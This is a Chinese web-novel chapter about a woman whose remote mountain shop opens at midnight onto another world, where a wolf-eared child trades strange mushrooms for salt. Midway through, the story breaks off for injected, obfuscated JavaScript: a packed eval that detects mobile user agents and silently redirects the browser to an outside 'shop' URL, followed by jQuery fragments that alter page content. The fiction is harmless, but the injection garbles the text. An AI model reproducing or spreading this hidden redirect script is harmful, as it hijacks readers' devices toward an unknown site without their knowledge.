谢苗把最后一块雾岭山货铺的木牌挂上去时，天已经黑透了。
夜渡岭的雾从山坳里漫了上来，顺着老屋的墙根往上爬。门口新装的感应灯闪了两下，总算亮稳了，照出牌子上她亲手刷的白漆。
字不算好看，胜在清楚。
她站在台阶下看了半天，拍掉手上的木屑，掏出手机。
花呗账单跳出来，四千三百二十六块八毛。
谢苗面无表情按灭了屏幕。
四十七平的旧屋，十八万八买的，加上修屋顶、换水电、刷墙、添置货架、进第一批货，差不多掏空了她这些年省吃俭用攒下的那点家底。
她原本在临江市一家电商公司做运营，月薪一万多，扣掉房租水电和吃饭，剩不下多少。熬了六年，头发都快掉光了，老板画的饼倒是越来越圆。
去年公司裁员，她拿了笔补偿金，转头就相中了白石村这间老屋。
胆子大，村里人都这么说她。
这么偏的地方，山路十八弯，快递两天一趟，年轻人跑的一个比一个快，谁会跑来开店？
谢苗当时笑笑，没解释。
说她胆子大，其实就是没退路了。
买不起城里的房子，可继续租房也存不下钱。与其给房东打工，还不如赌一把。这里靠山，前面还有条旧驿道，春夏采菌，秋冬收蜂蜜和腊货，弄个山货铺，再开个短视频账号，总能活下去。
至少，这屋子是她自己的。
谢苗弯腰把门口的纸箱搬进店里。
货架上已经摆的满满当当：干香菇、笋干、木耳、野蜂蜜、土鸡蛋，还有她从县城批发来的盐、红糖、挂面、矿泉水、泡面、打火机和几箱电池。
这些东西在城里很普通，放在夜渡岭却实用。
白石村离最近的小卖部都得走四十分钟山路，村里老人常年囤货。谢苗算过，只要能把附近几个村子的熟客做起来，再把山货卖到网上，她就不至于饿死。
至于赚大钱…
她暂时不敢想。
二楼的旧木地板被她踩的吱呀响。谢苗洗了把脸，拿出中午剩下的盒饭，放进微波炉里热。
微波炉是她从二手市场淘来的，转起来动静不小，嗡嗡响。
她端着饭坐到窗边，顺手点开短视频后台。
新账号雾岭山货铺谢老板，一共发了三条视频。
拍修屋顶那条，播放量两百八。
第二条拍晒蘑菇，播放量五百六。
第三条是今天下午拍的开业视频，下面已经有十来条评论。
“老板，你这儿这么偏，能发快递不？”
“蜂蜜保真不？”
“夜渡岭是不是传说里闹鬼的那个地方？”
最后一条点赞最多。
谢苗看着那条评论，手指停了一下。
白石村的老人确实提过，夜渡岭夜里不能乱走。
尤其是子夜以后。
老村长来帮她搬货时，蹲在门槛边抽了半支烟，才慢悠悠的说：“丫头，后院那扇门，晚上锁死了。听见有人敲，也别急着开。”
谢苗问为什么。
老村长看了她一眼，只说：“老辈人留下的规矩。”
她不信这些个。
但她也不爱跟老人犟。
后院的门确实怪，门板是旧的，锁却是新换的。她买房时，原房主特意把那把黑沉沉的铜钥匙交给她，说是祖上传下来的，别弄丢。
谢苗试过，钥匙能开前门、仓房、二楼杂物间，唯独打不开后门。
后门那把锁嵌在木头里，连个锁孔都没有。
她原先想找人拆了换掉，村里木匠却摆摆手：“那门别动，漏风就拿布堵一堵。”
这地方的人多少有点神叨，谢苗当时觉得。
现在想来，可能就是山里夜长，大家闲着没事编故事吓唬外来人。
手机震了一下，是批发市场的老板娘。
“小谢，在不在？”
“你问的那些药，我帮你问了。退烧药、感冒药，我认识药店的人，能帮你拿一批，不过得按规矩来，别囤太多。”
谢苗回了句：“姐，那先给我备两盒退烧药吧，感冒药来十盒，再加两箱盐。”
老板娘发了个问号。
“你这是要开山顶便利店啊？”
谢苗回完，自己都笑了。
“嗯，有备无患嘛。”
因为胃不好，晚饭没吃完，她把剩下半盒盖起来放进冰箱。洗漱后，她本该睡觉，可山里的风穿过窗缝，吹的人心里发空。
她干脆下楼，嘴里嘀咕着又检查一遍。
晚上十一点五十七分，店里只有冰箱压缩机的嗡嗡声。
柜台上从旧屋里翻出来的闹钟忽然响了，就在谢苗正准备关灯时。
滴答。
不是闹铃。
秒针卡了一下。
她低头看去。
闹钟本来早就没电了，电池还是她下午拆出来的。此刻，褪色的指针却在玻璃罩里慢慢走动，分针越过十二，秒针停在正中。
十二点整。
后院传来一声轻响。
不是风吹门板。
是有人踩过积水，鞋底落在青石板上，发出了湿漉漉的水声。
谢苗站在原地，看了一眼店门。
锁着。
窗户也都扣好了。
后院的门，她傍晚时还拿拖把顶过，门后堆着两袋没整理完的蜂窝煤。
又是一声。
这次清楚许多。
笃。
笃笃。
有人敲门。
谢苗后背泛起一层凉意。
老村长的声音从记忆里翻出来。
后院那扇门，晚上锁死了。听见有人敲，也别急着开。
她没动。
门外的人也没有继续敲，只安静的站着。
山里静的厉害，隔着一堵墙，谢苗竟能听见对方压的很低的喘息。那呼吸又轻又急，听着就是受了伤，或者冷的不行。
她盯着通向后院的小门看了半分钟，摸出手机，准备报警。
屏幕没有信号。
一格都没有。
谢苗抿了抿唇。
夜渡岭信号差，可也不至于差成这样。
她拿起柜台下放着的防狼喷雾，又抄了根装货用的实木棍。走到后门前才发现，本该锁死的门，不知什么时候开了一道缝。
门缝里不是夜渡岭的院子。
外面是条灰蒙蒙的长道。
雾浓的看不见尽头，路两侧立着歪斜的石柱，柱上挂着残破的旗幡。风从那头吹来，带着一股潮湿的土腥气，还有很淡的血味。
谢苗握紧木棍，第一反应是自己加班太久，终于把脑子熬坏了。
门外那人又敲了一下。
笃。
一只手从门缝里探进来。
那只手很小，手背上全是泥，指甲又尖又利，不像人长的。它抓着门槛，用尽了力气，才把门推开一点。
谢苗举起防狼喷雾，声音发紧，却没退。
“谁？”
门外没有回答。
一个瘦小身影跌了进来。
那是个看着七八岁的孩子，穿着破的快散架的灰褂子，赤着脚，裤腿沾满黑泥。他摔在地上，怀里抱着个鼓囊囊的布包，一抬头，谢苗就看见了一双发亮的琥珀色眼睛。
从他乱发里又竖起了两只毛耳朵。
谢苗：“……”
孩子也愣住了。
他盯着谢苗，又盯着她手里的喷雾，鼻尖动了动。
“你……是店主吗？”
声音很哑，喉咙里还滚着低低的咕噜声。
谢苗的视线落在了他身后。
长道深处好像有什么东西在移动，门外灰雾翻涌，偶尔传来不属于山林的低吼。
她脑子里乱糟糟的，但多年做运营练出的习惯还在。
看看要什么，有没有风险，再谈价格。
“你要买什么？”
孩子没想到她会问这个，耳朵抖了一下。
他抱紧布包，小声说：“盐……”
谢苗看向货架。
一袋两块五，最普通的加碘食盐。
孩子顺着她的目光看过去，眼睛亮的惊人。他连滚带爬站起来，想靠近，又怕被赶出去，停在了两步外。
“我要盐。”他又说了一遍，“一袋就够。”
谢苗没立刻拿。
“你拿什么换？”
孩子把怀里的布包打开。
里面是一堆湿漉漉的蘑菇。
蘑菇长的很怪，伞盖淡青色，边缘有细碎的银光，混着几片干枯的叶子和一块拳头大的黑石头。
谢苗一眼就认出，那些不是夜渡岭常见的菌子。
她今天刚整理过山货，山里所有能卖的菌菇她都认得七七八八。眼前这一堆却从没见过，菌褶间还浮着薄薄的白霜。
孩子见她不说话，眼里的光慢慢暗下去。
“这个能吃。”他说，“我阿娘以前煮过，不会毒死人的。”
谢苗：“……”
这话听着怎么更不让人放心了。
孩子急忙补充：“真的！煮熟了能吃，晒干了也能放很久，我们那边的人都吃这个。”
“你们那边是哪边？”
孩子猛的回头。
灰雾里的长道没有尽头。
他抿着嘴唇没回答，只是把黑石头也推了出来。
“这个也给你。”
谢苗蹲下身，隔着距离看了看。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898652|212903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
表面却有细密的金色纹路，带着火烧的痕迹，石头模样普通。她没碰，只是问：“你一个人来的？”
孩子的耳朵垂了下去。
“他们让我跑。”
这句话太轻了。
轻的谢苗没再追问。
门外低吼靠近了些，灰雾里露出一双血红的眼睛。眼睛离门不过数十米，却被什么东西挡住，只能在雾里焦躁徘徊。
孩子脸色一下就白了，尾巴也控制不住冒了出来，夹在腿后。
“它追过来了！”
谢苗看着那条灰扑扑的狼尾巴，又看着他沾满泥的脚。
她不是没害怕。
半夜看见一条通往异世界的门，门外还有不明怪物，正常人第一反应都该是报警、逃跑，最好再给精神病院打个电话。
可她店里的门就这么开着。
一个孩子站在她面前，说要买盐。
起身从货架上拿下一袋盐，谢苗沉默两秒，又顺手抓了两根火腿肠和一瓶矿泉水。
她把东西放到柜台上。
“一袋盐，两根火腿肠，一瓶水。你这些蘑菇加石头，换三样。”
孩子怔住。
“火腿肠……是什么？”
“肉。”
孩子的鼻子动的更厉害了。
谢苗拆开一根，递过去前，拿回来咬了一口。
“没毒。”
孩子盯着她咬过的那截，迟疑的接过去，小心咬了一口。
他整个人僵住了。
那双琥珀色的眼睛睁的圆圆的。
谢苗忍不住问：“怎么，不好吃？”
孩子摇头，嘴巴却没停。
他吃的很快，又努力克制着不狼吞虎咽，生怕吃太快就被收回去了。谢苗看着他的样子，转身又拿了一桶泡面。
“这个要热水泡。”
立刻把布包往她面前推，孩子抱着火腿肠。
“我，我没更多东西了。”
“没事，记账。”
“记账？”
“就是你欠我的，以后有东西再来换。”
孩子愣了很久，忽然把小手心按在胸口，对着她低下头。
“我叫阿满。”
谢苗放下泡面，轻轻嗯了一声。
“谢苗，店主。”
她话音刚落，柜台后原本空白的旧木板上，竟显出了一行暗金色的字。
夜渡驿站，子夜开门。
来客不得伤持钥人。
交易既成，彼此不得反悔。
谢苗盯着那几行字，呼吸停了一瞬。
阿满显然认识这些字。
他抬起头，脸上的惊惧和茫然慢慢被另一种情绪取代了。
“原来传说是真的。”
“什么传说？”
阿满看着她，声音发颤。“无灯长道尽头，有一间铺子。只要能走进去，就能换到活命的东西。”
门外血红眼睛猛的撞向门槛。
一声尖叫震的货架上的玻璃罐都在响。
谢苗惊的往后退了一步，手已经摸到木棍。
可黑影撞到门前半尺处，撞上一堵看不见的墙，被狠狠弹回灰雾里。它发出一声不甘的咆哮，很快消失在长道深处。
后门缓缓合拢。
灰雾、石柱、长道，一寸寸被门缝吞没。
阿满抱着那袋盐，站在原地不敢动。
谢苗低头看了眼闹钟。
十二点零七分。
她又抬头，看向已经恢复原样的后门。
门板陈旧，煤袋还顶在后面，刚才发生的一切，恍惚间让她觉得是自己太累做了场梦。
只有柜台上的青色蘑菇、黑石头，还有阿满头顶没来得及收回去的耳朵，证明这不是梦。
谢苗沉默片刻，转身去烧水。
“泡面会泡吗？”
阿满摇头。
“那就坐好，别乱碰插座。”
尾巴规规矩矩压在身后，阿满立刻坐到小马扎上。
谢苗把热水倒进桶里，盖上盖子。她蹲下时，阿满忽然小声问：“店主，我能等天亮再走吗？”
谢苗看着他。
孩子眼里全是防备，也藏不住害怕。
她想起刚显出来的店规，又想起老村长说的，夜里有人喊名字，别回头。
老人没骗她。
只是他没说，夜里敲门的，不一定都是鬼。
谢苗还没回答，后门外再次传来敲门声。
这一次，敲门的人力气很大。
笃。
笃笃。
门板震动，门缝里渗进了一丝血水。
隔着门传进来，一个又哑又沉的男声。
“店主。”
“有退烧药吗？”